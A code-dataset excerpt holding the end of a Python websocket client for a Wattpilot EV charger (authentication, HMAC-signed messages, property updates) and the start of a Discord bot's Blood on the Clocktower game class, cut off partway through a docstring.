@property\n def cak(self):\n \"\"\"Returns the API Key for Cloud API Access (read only)\"\"\"\n return self._cak\n\n\n def __str__(self):\n \"\"\"Returns a String representation of the core Wattpilot attributes\"\"\"\n if self.connected:\n ret = \"Wattpilot: \" + str(self.name) + \"\\n\"\n ret = ret + \"Serial: \" + str(self.serial) + \"\\n\"\n ret = ret + \"Connected: \" + str(self.connected) + \"\\n\"\n ret = ret + \"Car Connected: \" + str(self.carConnected) + \"\\n\"\n ret = ret + \"Charge Status \" + str(self.AllowCharging) + \"\\n\"\n ret = ret + \"Mode: \" + str(self.mode) + \"\\n\"\n ret = ret + \"Power: \" + str(self.amp) + \"\\n\"\n ret = ret + \"Charge: \" + \"%.2f\" % self.power + \"kW\" + \" ---- \" + str(self.voltage1) + \"V/\" + str(self.voltage2) + \"V/\" + str(self.voltage3) + \"V\" + \" -- \"\n ret = ret + \"%.2f\" % self.amps1 + \"A/\" + \"%.2f\" % self.amps2 + \"A/\" + \"%.2f\" % self.amps3 + \"A\" + \" -- \"\n ret = ret + \"%.2f\" % self.power1 + \"kW/\" + \"%.2f\" % self.power2 + \"kW/\" + \"%.2f\" % self.power3 + \"kW\" + \"\\n\"\n else:\n ret = \"Not connected\"\n\n return ret\n def connect(self):\n self._wst = threading.Thread(target=self._wsapp.run_forever)\n self._wst.daemon = True\n self._wst.start()\n self.__call_event_handler(Event.WP_CONNECT)\n _LOGGER.info(\"Wattpilot connected\")\n\n def disconnect(self, auto_reconnect=False):\n self._wsapp.close()\n self._connected=False\n self._auto_reconnect = auto_reconnect\n self.__call_event_handler(Event.WP_DISCONNECT)\n _LOGGER.info(\"Wattpilot disconnected\")\n\n # Wattpilot Event Handling\n\n # def __init_event_handler():\n # eh = {}\n # for event_type in list(Event):\n # eh[event_type.value] = []\n # return eh\n\n def add_event_handler(self,event_type,callback_fn):\n if event_type not in self._event_handler:\n self._event_handler[event_type] = []\n self._event_handler[event_type].append(callback_fn)\n\n def remove_event_handler(self,event_type,callback_fn):\n if event_type in self._event_handler and callback_fn in self._event_handler[event_type]:\n self._event_handler[event_type].remove(callback_fn)\n\n def __call_event_handler(self, event_type, *args):\n _LOGGER.debug(f\"Calling event handler for event type '{event_type} ...\")\n if event_type not in self._event_handler:\n return\n for callback_fn in self._event_handler[event_type]:\n event = {\n \"type\": event_type,\n \"wp\": self,\n }\n callback_fn(event,*args)\n\n\n def set_power(self,power):\n self.send_update(\"amp\",power)\n\n def set_mode(self,mode):\n self.send_update(\"lmo\",mode)\n\n\n def send_update(self,name,value):\n message = {}\n message[\"type\"]=\"setValue\"\n self.__requestid = self.__requestid+1\n message[\"requestId\"]=self.__requestid\n message[\"key\"]=name\n message[\"value\"]=value\n if (self._secured is not None):\n if (self._secured > 0):\n self.__send(message,True)\n else:\n self.__send(message)\n else:\n self.__send(message)\n\n def unpairInverter(self,InverterID):\n message = {}\n message[\"type\"]=\"unpairInverter\"\n self.__requestid = self.__requestid+1\n message[\"requestId\"]=self.__requestid\n message[\"inverterId\"]=InverterID\n if (self._secured is not None):\n if (self._secured > 0):\n self.__send(message,True)\n else:\n self.__send(message)\n else:\n self.__send(message)\n\n def pairInverter(self,InverterID):\n message = {}\n message[\"type\"]=\"pairInverter\"\n self.__requestid = self.__requestid+1\n message[\"requestId\"]=self.__requestid\n message[\"inverterId\"]=InverterID\n if (self._secured is not None):\n if (self._secured > 0):\n self.__send(message,True)\n else:\n self.__send(message)\n else:\n self.__send(message)\n\n def __update_property(self,name,value):\n\n self._allProps[name] = value\n if name==\"acs\":\n self._AccessState = Wattpilot.acsValues[value]\n\n if name==\"cbl\":\n self._cableType = value\n\n if name==\"fhz\":\n self._frequency = value\n\n if name==\"pha\":\n self._phases = value\n \n if name==\"wh\":\n self._energyCounterSinceStart = value\n\n if name==\"err\":\n self._errorState = Wattpilot.errValues[value]\n\n if name==\"ust\":\n self._cableLock = Wattpilot.ustValues[value]\n\n if name==\"eto\":\n self._energyCounterTotal = value\n\n if name==\"cae\":\n self._cae = value\n if name==\"cak\":\n self._cak = value\n if name==\"lmo\":\n self._mode = Wattpilot.lmoValues[value]\n if name==\"car\":\n self._carConnected = Wattpilot.carValues[value]\n if name==\"alw\":\n self._AllowCharging = Wattpilot.alwValues[value]\n if name==\"nrg\":\n self._voltage1=value[0]\n self._voltage2=value[1]\n self._voltage3=value[2]\n self._voltageN=value[3]\n self._amps1=value[4]\n self._amps2=value[5]\n self._amps3=value[6]\n self._power1=value[7]*0.001\n self._power2=value[8]*0.001\n self._power3=value[9]*0.001\n self._powerN=value[10]*0.001\n self._power=value[11]*0.001\n if name==\"amp\":\n self._amp = value\n if name==\"version\":\n self._version = value\n if name==\"ast\":\n self._AllowCharging = self._astValues[value]\n if name==\"fwv\":\n self._firmware = value\n if name==\"wss\":\n self._WifiSSID=value\n if name==\"upd\":\n if value==\"0\":\n self._updateAvailable = False\n else:\n self._updateAvailable = True\n self.__call_event_handler(Event.WP_PROPERTY, name, value)\n\n def __on_hello(self,message):\n _LOGGER.info(\"Connected to WattPilot Serial %s\",message.serial)\n if hasattr(message,\"hostname\"):\n self._name=message.hostname\n self.serial = message.serial\n if hasattr(message,\"hostname\"):\n self._hostname=message.hostname\n if hasattr(message,\"version\"):\n self._version=message.version\n self._manufacturer=message.manufacturer\n self._devicetype=message.devicetype\n self._protocol=message.protocol\n if hasattr(message,\"secured\"):\n self._secured=message.secured\n self.__call_event_handler(Event.WP_HELLO, message)\n\n def __on_auth(self,wsapp,message):\n ran = random.randrange(10**80)\n self._token3 = \"%064x\" % ran\n self._token3 = self._token3[:32]\n hash1 = hashlib.sha256((message.token1.encode()+self._hashedpassword)).hexdigest()\n hash = hashlib.sha256((self._token3 + message.token2+hash1).encode()).hexdigest()\n response = {}\n response[\"type\"] = \"auth\"\n response[\"token3\"] = self._token3\n response[\"hash\"] = hash\n self.__send(response)\n self.__call_event_handler(Event.WP_AUTH, message)\n\n def __send(self,message,secure=False):\n # If the connection to wattpilot is over a unsecure channel (http) all send messages are wrapped in\n # a \"securedMsg\" Message which contains the original messageobject and a sha256 HMAC Hashed created\n # using the password\n if secure:\n messageid=message[\"requestId\"]\n payload=json.dumps(message)\n h = hmac.new(bytearray(self._hashedpassword), bytearray(payload.encode()), hashlib.sha256 )\n message={}\n message[\"type\"]=\"securedMsg\"\n message[\"data\"]=payload\n message[\"requestId\"]=str(messageid)+\"sm\"\n message[\"hmac\"]=h.hexdigest()\n\n _LOGGER.debug(\"Message send: %s\",json.dumps(message) )\n self._wsapp.send(json.dumps(message))\n\n def __on_AuthSuccess(self,message):\n self._connected = True\n self.__call_event_handler(Event.WP_AUTH_SUCCESS, message)\n _LOGGER.info(\"Authentication successful\")\n\n def __on_FullStatus(self,message):\n props = message.status.__dict__\n for key in props:\n self.__update_property(key,props[key])\n self.__call_event_handler(Event.WP_FULL_STATUS, message)\n self._allPropsInitialized = not message.partial\n if message.partial == False:\n self.__call_event_handler(Event.WP_FULL_STATUS_FINISHED, message)\n\n def __on_AuthError(self,message):\n if message.message==\"Wrong password\":\n self._wsapp.close()\n _LOGGER.error(\"Authentication failed: %s\", message.message)\n self.__call_event_handler(Event.WP_AUTH_ERROR, message)\n\n def __on_DeltaStatus(self,message):\n props = message.status.__dict__\n for key in props:\n self.__update_property(key,props[key])\n self.__call_event_handler(Event.WP_DELTA_STATUS, message)\n\n def __on_clearInverters(self,message):\n self.__call_event_handler(Event.WP_CLEAR_INVERTERS, message)\n\n def __on_updateInverter(self,message):\n self.__call_event_handler(Event.WP_UPDATE_INVERTER, message)\n\n def __on_response(self,message):\n if message.success:\n if hasattr(message,\"status\"):\n props = message.status.__dict__\n for key in props:\n self.__update_property(key,props[key])\n else:\n _LOGGER.error(\"Error Sending Request %s. Message: %s\" ,message.requestId,message.message)\n self.__call_event_handler(Event.WP_RESPONSE, message)\n\n def __on_open(self,wsapp):\n self.__call_event_handler(Event.WS_OPEN, wsapp)\n\n def __on_error(self,wsapp,err):\n self.__call_event_handler(Event.WS_ERROR, wsapp, err)\n _LOGGER.error(f\"Error received from WebSocketApp: {err}\")\n\n def __on_close(self,wsapp,code,msg):\n self._connected=False\n self.__call_event_handler(Event.WS_CLOSE, wsapp, code, msg)\n if (self._auto_reconnect):\n sleep(self._reconnect_interval)\n self._wsapp.run_forever()\n\n def __on_message(self, wsapp, message):\n ## called whenever a message through websocket is received\n _LOGGER.debug(\"Message received: %s\", message)\n msg=json.loads(message, object_hook=lambda d: SimpleNamespace(**d))\n self.__call_event_handler(Event.WS_MESSAGE, message)\n if (msg.type == 'hello'): # Hello Message -> Received upon connection before auth\n self.__on_hello(msg)\n if (msg.type == 'authRequired'): # Auth Required -> Received after hello \n self.__on_auth(wsapp,msg)\n if (msg.type == 'response'): # Response Message -> Received after sending a update and contains result of update\n self.__on_response(msg)\n if (msg.type == 'authSuccess'): # Auth Success -> Received after sending correct authentication message\n self.__on_AuthSuccess(msg)\n if (msg.type == 'authError'): # Auth Error -> Received after sending incorrect authentication message (e.g. wrong password)\n self.__on_AuthError(msg)\n if (msg.type == 'fullStatus'): # Full Status -> Received after successful connection. Contains all properties of Wattpilot\n self.__on_FullStatus(msg)\n if (msg.type == 'deltaStatus'): # Delta Status -> Whenever a property changes a Delta Status is send\n self.__on_DeltaStatus(msg)\n if (msg.type == 'clearInverters'): # Unknown\n self.__on_clearInverters(msg)\n if (msg.type == 'updateInverter'): # Contains information of connected Photovoltaik inverter / powermeter\n self.__on_updateInverter(msg)\n\n def __init__(self, ip ,password,serial=None,cloud=False):\n self._auto_reconnect = True\n self._reconnect_interval = 30\n self._websocket_default_timeout = 10\n self.__requestid = 0\n self._name = None\n self._hostname = None\n self._friendlyName = None\n self._manufacturer = None\n self._devicetype = None\n self._protocol = None\n self._secured = None\n self._serial = None\n self._password = None\n\n self.password = password\n\n if(cloud):\n self._url= \"wss://app.wattpilot.io/app/\" + serial + \"?version=1.2.9\"\n else:\n self._url = \"ws://\"+ip+\"/ws\"\n self.serial = None\n self._connected = False\n self._allProps={}\n self._allPropsInitialized=False\n self._voltage1=None\n self._voltage2=None\n self._voltage3=None\n self._voltageN=None\n self._amps1=None\n self._amps2=None\n self._amps3=None\n self._power1=None\n self._power2=None\n self._power3=None\n self._powerN=None\n self._power=None\n self._version = None\n self._amp = None\n self._AccessState = None\n self._firmware = None\n self._WifiSSID = None\n self._AllowCharging = None\n self._mode=None\n self._carConnected=None\n self._cae=None\n self._cak=None\n self._event_handler = {}\n\n self._wst=threading.Thread()\n\n websocket.setdefaulttimeout(self._websocket_default_timeout)\n self._wsapp = websocket.WebSocketApp(\n self.url,\n on_close=self.__on_close,\n on_error=self.__on_error,\n on_message=self.__on_message,\n on_open=self.__on_open,\n )\n self.__call_event_handler(Event.WP_INIT)\n _LOGGER.info (\"Wattpilot %s initialized\",self.serial)\n\n","repo_name":"joscha82/wattpilot","sub_path":"src/wattpilot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20188,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"47"} +{"seq_id":"40360898422","text":"\"\"\"Contains the BOTC Game class\"\"\"\n\nimport random\nimport datetime\nimport botutils\nimport globvars\nimport json\nimport pytz\nimport configparser\nimport discord\nimport sqlite3\nfrom library import fancy\nfrom .chrono import GameChrono\nfrom .BOTCUtils import BOTCUtils\nfrom .Category import Category\nfrom .Phase import Phase\nfrom .Player import Player\nfrom .errors import GameError, TooFewPlayers, TooManyPlayers\nfrom .Townsfolk import Townsfolk\nfrom .Outsider import Outsider\nfrom .Minion import Minion\nfrom .Demon import Demon\nfrom .gamemodes.troublebrewing.Saint import Saint\nfrom .gamemodes.troublebrewing.Drunk import Drunk\nfrom .gamemodes.troublebrewing._utils import TroubleBrewing\nfrom .gamemodes.Gamemode import Gamemode\nfrom .RoleGuide import RoleGuide\nfrom .gameloops import master_game_loop, nomination_loop, base_day_loop, debate_timer\nfrom models import GameMeta\nfrom botc import StatusList, Team\n\nConfig = configparser.ConfigParser()\nConfig.read(\"preferences.INI\")\n\nCARD_NIGHT = Config[\"colors\"][\"CARD_NIGHT\"]\nCARD_NIGHT = int(CARD_NIGHT, 16)\n\nCARD_DAWN = Config[\"colors\"][\"CARD_DAWN\"]\nCARD_DAWN = int(CARD_DAWN, 16)\n\nCARD_DAY = Config[\"colors\"][\"CARD_DAY\"]\nCARD_DAY = int(CARD_DAY, 16)\n\nTOWNSFOLK_COLOR = Config[\"colors\"][\"TOWNSFOLK_COLOR\"]\nDEMON_COLOR = Config[\"colors\"][\"DEMON_COLOR\"]\nTOWNSFOLK_COLOR = int(TOWNSFOLK_COLOR, 16)\nDEMON_COLOR = int(DEMON_COLOR, 16)\n\nCONFLICTING_CMDS = [\n\n \"cmd.gameplay\"\n\n]\n\nrandom.seed(datetime.datetime.now())\n\nwith open('botc/game_text.json') as json_file:\n strings = json.load(json_file)\n nightfall = strings[\"gameplay\"][\"nightfall\"]\n daybreak = strings[\"gameplay\"][\"daybreak\"]\n dawn = strings[\"gameplay\"][\"dawn\"]\n lobby_game_start = strings[\"gameplay\"][\"lobby_game_start\"]\n lobby_game_closing = strings[\"gameplay\"][\"lobby_game_closing\"]\n evilteammates = strings[\"gameplay\"][\"evilteammates\"]\n copyrights_str = strings[\"misc\"][\"copyrights\"]\n tb_lore = strings[\"gameplay\"][\"tb_lore\"]\n nightfall_image = strings[\"images\"][\"nightfall\"]\n dawn_image = strings[\"images\"][\"dawn\"]\n daybreak_image = strings[\"images\"][\"daybreak\"]\n dove = strings[\"images\"][\"dove\"]\n demon = strings[\"images\"][\"demon\"]\n no_one_wins = strings[\"gameplay\"][\"no_one_wins\"]\n good_wins = strings[\"gameplay\"][\"good_wins\"]\n evil_wins = strings[\"gameplay\"][\"evil_wins\"]\n role_reveal = strings[\"gameplay\"][\"role_reveal\"]\n role_reveal_herring = strings[\"gameplay\"][\"role_reveal_herring\"]\n storyteller_death = strings[\"lore\"][\"storyteller_death\"]\n ego_role_reveal = strings[\"gameplay\"][\"ego_role_reveal\"]\n ego_role_reveal_herring = strings[\"gameplay\"][\"ego_role_reveal_herring\"]\n changed_role_reveal = strings[\"gameplay\"][\"changed_role_reveal\"]\n\nwith open('botutils/bot_text.json') as json_file:\n language = json.load(json_file)\n skull_unicode = language[\"esthetics\"][\"skull\"]\n fquit_unicode = language[\"esthetics\"][\"fquit\"]\n\n\nclass Setup:\n \"\"\"A class to facilitate role to player access\"\"\"\n\n DEMON_HEAD_EMOJI = \"<:demonhead:736692927505367190>\"\n\n def __init__(self):\n\n self.demon = []\n self.minions = []\n self.townsfolks = []\n self.outsiders = []\n self.role_dict = {} # {\"recluse\" : player_obj1, \"undertaker\" : player_obj2}\n\n def create(self, player_ob_list):\n\n for player in player_ob_list:\n self.role_dict.update({player.role.name.lower(): player})\n if player.role.category == Category.demon:\n self.demon.append(player)\n elif player.role.category == Category.minion:\n self.minions.append(player)\n elif player.role.category == Category.townsfolk:\n self.townsfolks.append(player)\n elif player.role.category == Category.outsider:\n self.outsiders.append(player)\n assert len(self.demon) == 1, \"More than 1 demon found.\"\n\n def create_evil_team_string(self):\n \"\"\"\n :demonhead: Your Evil team consists of:\n ```basic\n Oliver (460105234748801024) (demon)\n Johnny (159985870458322944) (minion)\n Michel (614109280508968980) (minion)\n ```\n \"\"\"\n msg = Setup.DEMON_HEAD_EMOJI + \" \" + evilteammates + \"```basic\\n\"\n for demon in self.demon:\n msg += f\"{demon.user.display_name} ({demon.user.id}) (demon)\"\n msg += \"\\n\"\n for minion in self.minions:\n msg += f\"{minion.user.display_name} ({minion.user.id}) (minion)\"\n msg += \"\\n\"\n msg += \"```\"\n return msg\n\n def clear(self):\n\n self.__init__()\n\n\nclass GameLog:\n \"\"\"Game log class\"\"\"\n\n def __init__(self, game_obj):\n self.setup = game_obj.setup\n self.sitting_order = game_obj.sitting_order\n self.gamemode = game_obj.gamemode.value\n\n def create_game_obj_log_str(self):\n \"\"\"Create the game log string. The string looks like this:\n\n Game Start:\n ```asciidoc\n BoTC game started at 2020-06-19T19:50:04.657050-04:00, with 10 players, using the Trouble-Brewing edition.\n --------------------\n DEMON :: [Tester 1 (614109280508968980) is Imp]\n MINION :: [Tester 5 (235088799074484224) is Baron, Tester 3 (159985870458322944) is Spy]\n TOWNSFOLK :: [Tester 6 (172002275412279296) is Chef, Tester 4 (184405311681986560) is Monk, Xinverse\n (346426113285753875) is Slayer, Tester 7 (460105234748801024) is Librarian, Tester 2 (270904126974590976)\n is Investigator]\n OUTSIDER :: [Penguin (606332710911156778) is Saint, Temporary Bot (609674334247771236) is Butler]\n ```\n \"\"\"\n\n Config = configparser.ConfigParser()\n Config.read(\"preferences.INI\")\n\n TIMEZONE = Config[\"location\"][\"TIME_ZONE\"]\n\n d = datetime.datetime.now()\n timezone = pytz.timezone(TIMEZONE)\n d_aware = timezone.localize(d)\n\n msg = \"Game Start:```asciidoc\\n\"\n msg += f\"BoTC game started at {d_aware.isoformat()}, with {len(self.sitting_order)} players, using the {self.gamemode} edition.\\n\"\n msg += \"--------------------\\n\"\n\n msg += f\"DEMON :: {str(self.setup.demon)}\\n\"\n msg += f\"MINION :: {str(self.setup.minions)}\\n\"\n msg += f\"TOWNSFOLK :: {str(self.setup.townsfolks)}\\n\"\n msg += f\"OUTSIDER :: {str(self.setup.outsiders)}\\n\"\n\n msg += \"```\"\n\n return msg\n\n async def send_game_obj_log_str(self):\n \"\"\"Log the game object\"\"\"\n msg = self.create_game_obj_log_str()\n await botutils.log(botutils.Level.info, msg)\n\n\nclass Game(GameMeta):\n \"\"\"BoTC Game class\"\"\"\n\n MIN_PLAYERS = 5\n MAX_PLAYERS = 15\n\n def __init__(self):\n\n self._gamemode = Gamemode.trouble_brewing # default gamemode will always be trouble brewing\n self._member_obj_list = [] # list object - list of discord member objects\n self._player_obj_list = [] # list object - list of player objects\n self._sitting_order = tuple() # tuple object (for immutability)\n self._chrono = GameChrono()\n self._setup = Setup()\n self.gameloop = master_game_loop\n self.winners = None # botc.Team object\n self.invalidated = False # Don't count in win rates due to modkill/frole\n\n # Temporary day data\n self.chopping_block = None # ChoppingBlock object\n self.today_executed_player = None # Player object\n self.day_start_time = None # datetime()\n self.nomination_iteration_date = tuple() # tuple(datetime() for start time, duration in secs)\n\n # Temporary night data\n self.night_deaths = [] # List of player objects\n self.night_start_time = None # datetime()\n\n # Temporary dawn data\n self.dawn_start_time = None # datetime()\n\n @property\n def nb_players(self):\n return len(self._player_obj_list)\n\n @property\n def gamemode(self):\n return self._gamemode\n\n @property\n def member_obj_list(self):\n return self._member_obj_list\n\n @property\n def player_obj_list(self):\n return self._player_obj_list\n\n @property\n def sitting_order(self):\n return self._sitting_order\n\n @property\n def current_phase(self):\n return self._chrono.phase\n\n @property\n def current_cycle(self):\n return self._chrono.cycle\n\n @property\n def setup(self):\n return self._setup\n\n def is_idle(self):\n return self.current_phase == Phase.idle\n\n def is_day(self):\n return self.current_phase == Phase.day\n\n def is_dawn(self):\n return self.current_phase == Phase.dawn\n\n def is_night(self):\n return self.current_phase == Phase.night\n\n def init_temporary_day_data(self):\n \"\"\"Initialize temporary day data. To be called at the start of the day\"\"\"\n # Temporary day data\n self.chopping_block = None # ChoppingBlock object\n self.today_executed_player = None # Player object\n self.day_start_time = None # datetime()\n self.nomination_iteration_date = tuple() # tuple(datetime() for start time, duration in secs)\n\n def init_temporary_night_data(self):\n \"\"\"Initialize temporary night data. To be called at the start of the night\"\"\"\n # Temporary night data\n self.night_deaths = [] # List of player objects\n self.night_start_time = None # datetime()\n\n def init_temporary_dawn_data(self):\n \"\"\"Initialize temporary dawn data. To be called at the start of the dawn\"\"\"\n # Temporary dawn data\n self.dawn_start_time = None # datetime()\n\n def create_sitting_order_stats_string(self):\n \"\"\"Create a stats board:\n\n Sitting Order:\n ```css\n Chris (232456937349834784) [DEAD]\n John (233426113285745785) [ALIVE]\n Anna (266015398221479937) [ALIVE]\n Fred (3447492102843678721) [ALIVE]\n ```\n \"\"\"\n\n msg = \"\\n\\n**Players**: ```css\\n\"\n for player in self.sitting_order:\n if player.is_alive():\n line = f\"{player.user.display_name} ({player.user.id}) [alive]\\n\"\n elif player.is_dead():\n if player.has_vote():\n line = f\"{player.user.display_name} ({player.user.id}) [dead] {skull_unicode} {botutils.BotEmoji.vote}\\n\"\n else:\n line = f\"{player.user.display_name} ({player.user.id}) [dead] {skull_unicode}\\n\"\n else:\n line = f\"{player.user.display_name} ({player.user.id}) [quit] {fquit_unicode}\\n\"\n msg += line\n msg += \"```\"\n return msg\n\n def register_players(self, id_list):\n \"\"\"Register the players.\n Must be implemented.\n \"\"\"\n\n for user_id in id_list:\n member_obj = botutils.get_member_obj(user_id)\n if member_obj:\n self._member_obj_list.append(member_obj)\n else:\n raise GameError(\"Member not found, invalid user ID\")\n\n async def send_lobby_welcome_message(self):\n \"\"\"Send the welcome message in lobby\"\"\"\n\n # Trouble Brewing Edition\n if self.gamemode == Gamemode.trouble_brewing:\n embed = discord.Embed(\n description = tb_lore\n )\n # Using the Saint() object to access some URL's\n embed.set_thumbnail(url = TroubleBrewing()._gm_art_link)\n embed.set_author(name = \"𝕿𝖗𝖔𝖚𝖇𝖑𝖊 𝕭𝖗𝖊𝖜𝖎𝖓𝖌 - 𝕭𝖑𝖔𝖔𝖉 𝖔𝖓 𝖙𝖍𝖊 𝕮𝖑𝖔𝖈𝖐𝖙𝖔𝖜𝖊𝖗 (𝕭𝖔𝕿𝕮)\",\n icon_url = Saint()._botc_logo_link)\n embed.timestamp = datetime.datetime.utcnow()\n embed.set_footer(text = copyrights_str)\n\n pings = \" \".join([player.user.mention for player in self.sitting_order])\n msg = lobby_game_start.format(pings, \"𝕿𝖗𝖔𝖚𝖇𝖑𝖊 𝕭𝖗𝖊𝖜𝖎𝖓𝖌\", self.nb_players)\n\n await botutils.send_lobby(msg, embed=embed)\n\n # Bad Moon Rising Edition\n elif self.gamemode == Gamemode.bad_moon_rising:\n pass\n\n async def send_lobby_closing_message(self, win_con_reason = \"\"):\n \"\"\"Send the closing message in lobby\"\"\"\n\n from botc import Team\n\n gamemode = fancy.bold(self.gamemode.value)\n\n with sqlite3.connect(\"data.sqlite3\") as db:\n # ----- The good team wins -----\n if self.winners == Team.good:\n\n # Revealing the role list\n role_list_str = \"\"\n for player in self.sitting_order:\n\n # The player is a drunk, we use the special reveal short string\n if player.role.true_self.name == Drunk().name:\n if player.has_status_effect(StatusList.red_herring):\n message = ego_role_reveal_herring\n else:\n message = ego_role_reveal\n\n short = message.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_good() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.role.ego_self.name\n )\n\n # The player is a minion who became imp\n elif player.old_role is not None:\n short = changed_role_reveal.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_good() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.old_role.true_self.emoji,\n player.old_role.true_self.name,\n )\n\n # The player is not a drunk, we use the default reveal short string\n else:\n if player.has_status_effect(StatusList.red_herring):\n message = role_reveal_herring\n else:\n message = role_reveal\n\n short = message.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_good() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name\n )\n\n role_list_str += short\n role_list_str += \"\\n\"\n\n if not self.invalidated:\n db.execute('INSERT OR IGNORE INTO playerstats (user_id) VALUES (?)', (player.user.id,))\n db.execute('UPDATE playerstats SET games = games + 1 WHERE user_id = ?', (player.user.id,))\n if player.role.true_self.is_good():\n db.execute('UPDATE playerstats SET wins = wins + 1 WHERE user_id = ?', (player.user.id,))\n\n # The embed\n embed = discord.Embed(\n title = good_wins,\n description = role_list_str,\n color = TOWNSFOLK_COLOR\n )\n embed.set_author(\n name = \"{} - 𝕭𝖑𝖔𝖔𝖉 𝖔𝖓 𝖙𝖍𝖊 𝕮𝖑𝖔𝖈𝖐𝖙𝖔𝖜𝖊𝖗 (𝕭𝖔𝕿𝕮)\".format(gamemode),\n icon_url = Saint()._botc_logo_link\n )\n embed.set_thumbnail(url = dove)\n\n # ----- The evil team wins -----\n elif self.winners == Team.evil:\n\n # Revealing the role list\n role_list_str = \"\"\n for player in self.sitting_order:\n\n # The player is a drunk, we use the special reveal short string\n if player.role.true_self.name == Drunk().name:\n if player.has_status_effect(StatusList.red_herring):\n message = ego_role_reveal_herring\n else:\n message = ego_role_reveal\n\n short = message.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_evil() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.role.ego_self.name\n )\n\n # The player is a minion who became imp\n elif player.old_role is not None:\n short = changed_role_reveal.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_evil() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.old_role.true_self.emoji,\n player.old_role.true_self.name,\n )\n\n # The player is not a drunk, we use the default reveal short string\n else:\n if player.has_status_effect(StatusList.red_herring):\n message = role_reveal_herring\n else:\n message = role_reveal\n\n short = message.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_evil() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name\n )\n\n role_list_str += short\n role_list_str += \"\\n\"\n\n if not self.invalidated:\n db.execute('INSERT OR IGNORE INTO playerstats (user_id) VALUES (?)', (player.user.id,))\n db.execute('UPDATE playerstats SET games = games + 1 WHERE user_id = ?', (player.user.id,))\n if player.role.true_self.is_evil():\n db.execute('UPDATE playerstats SET wins = wins + 1 WHERE user_id = ?', (player.user.id,))\n\n # The embed\n embed = discord.Embed(\n title = evil_wins,\n description = role_list_str,\n color = DEMON_COLOR\n )\n embed.set_author(\n name = \"{} - 𝕭𝖑𝖔𝖔𝖉 𝖔𝖓 𝖙𝖍𝖊 𝕮𝖑𝖔𝖈𝖐𝖙𝖔𝖜𝖊𝖗 (𝕭𝖔𝕿𝕮)\".format(gamemode),\n icon_url = Saint()._botc_logo_link\n )\n embed.set_thumbnail(url = demon)\n\n # ----- No one wins -----\n else:\n # Revealing the role list\n role_list_str = \"\"\n for player in self.sitting_order:\n\n # The player is a drunk, we use the special reveal short string\n if player.role.true_self.name == Drunk().name:\n if player.has_status_effect(StatusList.red_herring):\n message = ego_role_reveal_herring\n else:\n message = ego_role_reveal\n\n short = message.format(\n \"\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.role.ego_self.name\n )\n\n # The player is a minion who became imp\n elif player.old_role is not None:\n short = changed_role_reveal.format(\n botutils.BotEmoji.trophy_animated if player.role.true_self.is_good() else \"---\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name,\n player.old_role.true_self.emoji,\n player.old_role.true_self.name,\n )\n\n # The player is not a drunk, we use the default reveal short string\n else:\n if player.has_status_effect(StatusList.red_herring):\n message = role_reveal_herring\n else:\n message = role_reveal\n\n short = message.format(\n \"\",\n player.user.mention,\n player.role.true_self.emoji,\n player.role.true_self.name\n )\n\n role_list_str += short\n role_list_str += \"\\n\"\n\n # The embed\n embed = discord.Embed(\n title = no_one_wins,\n description = role_list_str\n )\n embed.set_author(\n name = \"{} - 𝕭𝖑𝖔𝖔𝖉 𝖔𝖓 𝖙𝖍𝖊 𝕮𝖑𝖔𝖈𝖐𝖙𝖔𝖜𝖊𝖗 (𝕭𝖔𝕿𝕮)\".format(gamemode),\n icon_url = Saint()._botc_logo_link\n )\n\n embed.timestamp = datetime.datetime.utcnow()\n embed.set_footer(text = copyrights_str)\n\n pings = \" \".join([player.user.mention for player in self.sitting_order])\n msg = lobby_game_closing.format(pings, gamemode, self.nb_players)\n\n await botutils.send_lobby(msg, embed=embed)\n\n async def start_game(self):\n \"\"\"Start the game.\n Must be implemented.\n \"\"\"\n # Cancel the timer\n if botutils.start_votes_timer.is_running():\n botutils.start_votes_timer.cancel()\n # Register the players in game\n self.register_players(globvars.master_state.pregame)\n # Generate the setup (role list)\n setup = self.generate_role_set()\n # Give each player a role\n self.distribute_roles(setup, self.member_obj_list)\n # Freeze the sitting\n self.generate_frozen_sitting()\n # Initialize the setup object\n self.setup.clear()\n self.setup.create(self.player_obj_list)\n # Initialize each role to set flags as needed, etc.\n for player in self._player_obj_list:\n player.role.exec_init_role(self.setup)\n # Send the lobby welcome message\n await self.send_lobby_welcome_message()\n # Lock the lobby channel\n await botutils.lock_lobby()\n # Send the opening dm to all players\n for player in self._player_obj_list:\n await player.role.ego_self.send_opening_dm_embed(player.user)\n # Log the game data\n await GameLog(self).send_game_obj_log_str()\n # Unload conflicting commands\n for extension in CONFLICTING_CMDS:\n globvars.client.unload_extension(extension)\n # Load game related commands\n if self.gamemode == Gamemode.trouble_brewing:\n globvars.client.load_extension(\"botc.commands.abilities.tb\")\n globvars.client.load_extension(\"botc.commands.townhall\")\n globvars.client.load_extension(\"botc.commands.debug\")\n # Start the game loop\n self.gameloop.start(self)\n\n async def compute_dawn_ability_interactions(self):\n \"\"\"Order of Action\n 1. Ravenkeeper\n \"\"\"\n if self.gamemode == Gamemode.trouble_brewing:\n\n from botc.gamemodes.troublebrewing._utils import TBRole\n\n order = [\n\n TBRole.ravenkeeper\n\n ]\n\n for character_enum in order:\n list_of_characters = BOTCUtils.get_players_from_role_name(character_enum)\n for character in list_of_characters:\n await character.role.ego_self.process_dawn_ability(character)\n\n async def compute_night_ability_interactions(self):\n \"\"\"Order of Action (First Night)\n 1. poisoner\n 2. washerwoman\n 3. librarian\n 4. investigator\n 5. chef\n 6. empath\n 7. fortune teller\n 8. butler\n 9. spy\n\n Order of Action (All Other Nights)\n 1. 